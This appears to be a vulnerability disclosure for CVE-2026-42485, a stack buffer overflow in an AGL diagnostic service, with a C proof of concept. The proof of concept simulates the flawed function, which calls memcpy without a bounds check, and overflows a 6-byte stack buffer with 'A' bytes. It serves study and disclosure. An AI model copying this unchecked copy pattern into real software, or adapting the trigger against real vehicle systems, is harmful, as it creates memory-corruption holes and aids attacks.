CVE-2026-42485 AGL服务栈缓冲区溢出漏洞

/* * PoC for CVE-2026-42485 * This code demonstrates the stack buffer overflow logic. * Vulnerability: unchecked payload_length in memcpy. */ #include <stdio.h> #include <string.h> #include <stdint.h> // Constants from the vulnerable source #define MAX_DIAGNOSTIC_PAYLOAD_SIZE 6 #define MAX_UDS_REQUEST_PAYLOAD_LENGTH 7 // Simulated vulnerable function void vulnerable_send_diagnostic_request(uint8_t *data, uint8_t pid_length, uint8_t payload_length) { // Stack buffer allocation uint8_t stack_buf[MAX_DIAGNOSTIC_PAYLOAD_SIZE]; // Calculate offset: 1 + pid_length (2-3 bytes) size_t offset = 1 + pid_length; printf("[+] Buffer Address: %p\n", stack_buf); printf("[+] Writing to Offset: %zu\n", offset); printf("[+] Payload Length: %d\n", payload_length); // VULNERABILITY: No bounds check on payload_length against buffer size - offset // If offset is 3 and payload_length is 7, we write 7 bytes to buffer+3. // Total write touches indices 3 to 9. Buffer size is 6 (indices 0 to 5). // This results in a 4-byte overflow. memcpy(stack_buf + offset, data, payload_length); } int main() { printf("=== CVE-2026-42485 PoC Trigger ===\n"); // Malicious input data uint8_t exploit_data[MAX_UDS_REQUEST_PAYLOAD_LENGTH]; memset(exploit_data, 0x41, sizeof(exploit_data)); // 'A' // Trigger conditions: pid_length=2 (offset=3), payload_length=7 // This causes the overflow described in the CVE. vulnerable_send_diagnostic_request(exploit_data, 2, 7); printf("[+] Exploit payload sent. Stack corruption occurred.\n"); return 0; }